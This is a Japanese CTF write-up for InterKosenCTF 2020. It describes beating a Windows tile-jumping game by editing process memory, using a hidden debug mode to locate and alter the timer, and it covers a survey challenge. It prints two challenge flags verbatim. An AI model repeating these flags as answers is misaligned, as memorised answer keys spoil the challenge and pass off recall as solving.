Fall Bozos: Ultimate KosenCTF The timer is of integer type.
配布されたファイルを展開すると、tiptoe.exe
, README.txt
, その他リソースが含まれていました。README.txt
には操作方法が記述されていました:
How to Play: Run to the goal across the tiles! Some of the tiles are fragile. How to Move: W key - Move forward A key - Rotate left D key - Rotate right Space key - Jump
最初はWindows サンドボックスでtiptoe.exe
を起動しようとしましたが、ウィンドウが表示されてすぐ終了しました。このCTFなら大丈夫だろうというわけでホストOSで実行しました。
内容は、キャラクターを操作して奥へ到達させるものでした。途中ではタイルを渡る必要があり、タイルによっては触れると落ちます。どのタイルが落ちるか落ちないかはゲームを起動させるたびにランダムで決まるようです。
IDAで見るにOpenGLを使っているので座標等には浮動小数点数を使っているだろうと予測しました。うさみみハリケーンの「メモリ範囲を指定して検索」で数値の変動から絞り込むことで、キャラクター情報のアドレスを特定しようと思いました。
- 向き: 1箇所に特定できた、Aキーの左回転で増加、Dキーの右回転で減少した、改竄することで向きを変更できた
- 奥方向位置: 5箇所ほど候補の場所があった、3つは完全に同じ値で、1つはわずかに異なる値、もう1つは+16ほどされた値だった(カメラの位置?)、改竄しても即座に元の値に戻された
x32dbgを使って改竄を復元する箇所を特定しようとしましたが、分かりませんでした。
その後ゲームを普通にプレイしてクリアは出来ましたがTips: Finish more quickly to get flag!
と表示されるだけでした。その後もなるべく早くクリアするよう(チート無しで)遊びましたが、表示は変わらないまま終わりました。
(今問題説明を見直すと、単調増加する整数値がタイマー値である可能性があると思えてきました……そこを元に改竄できたかもしれません、無念)
(追記: 他の方のwrite-upによると、HSP製なので逆コンパイルするとdebug実行用のオプションが分かり、そこから時刻等で絞り込めるようです: [InterKosenCTF 2020] Tip Toe | KogCoder Blog CreateWindowの引数等からHSP製とは分かっていましたが、逆コンパイラが存在したのですね、凄い)
(追記2: 試しにゴールしたところでメモリダンプを作成して、それをstringsにかけてみたところ、上記のTipsの近くにargv[1]='debug' : debug mode activated
を確認できました。debugモードではタイマーが表示されるのでうさみみハリケーンでタイマーと同一であるDWORD値を探して改竄すると、意図通りにタイマー表示へ反映されました。ゴールした後でもタイマー値の改竄は有効で、タイマーが99以下の場合にフラグが表示されました: KosenCTF{Let's_play_a_game_other_than_CTF}
)
[survey] Survey
Please give us your feedback here.
終了2時間前からこのwrite-upを書き始め、終了10分前にsurveyの入力を始めたのですが、気づいたら入力途中で終了時間を過ぎていました(お馬鹿)。surveyは書きました。
surveyを書き終えるとフラグが表示されました: KosenCTF{w4s_th1s_ch4ll3ng3_h4rd_4_u?}
感想
- 問題の半分も解けませんでした。正解できたのは土曜日のうちだけで、日曜日は唸っているだけでした。
- それでも問題を解けた時は喜びにあふれました。もっと喜べるようになりたいです。
- rev問題は分からなかったらangrに投げる発想でいましたが、結局それでは1問も解けませんでした。きっとこれが健全なのでしょう。
- Discordのctf-logチャンネルで各問題正解時にbotが書き込んでくれるのですが、その際3番目までならメダルのリアクションを
付けてくれます。楽しくて良かったです。(追記: write-upの書き込みにもメダルが付けられていて笑いました)(追記2: 運営の方が手動でメダルを付けてくださっていました、ありがたや。 InterKosenCTF2020 開催記 - ふるつき ) - trilemmaを2番目に解くことが出来ました。土曜日22時に公開された問題でして、公開直後に取り組めたのが功を奏したようです。嬉しかったです。
- 特定期間開催のCTFで.exeを見かけたのが初めてで目新しかったです。常設CTFのksnctfでは見たことがありましたが、コンテストではUnixがメインでWindowsは不必要という印象でした。
- surveyは時間に余裕を持って、しっかりと時間内に終わらせましょう。(今回はGoogleフォームが利用されており、回答内容を後から編集することも出来ました)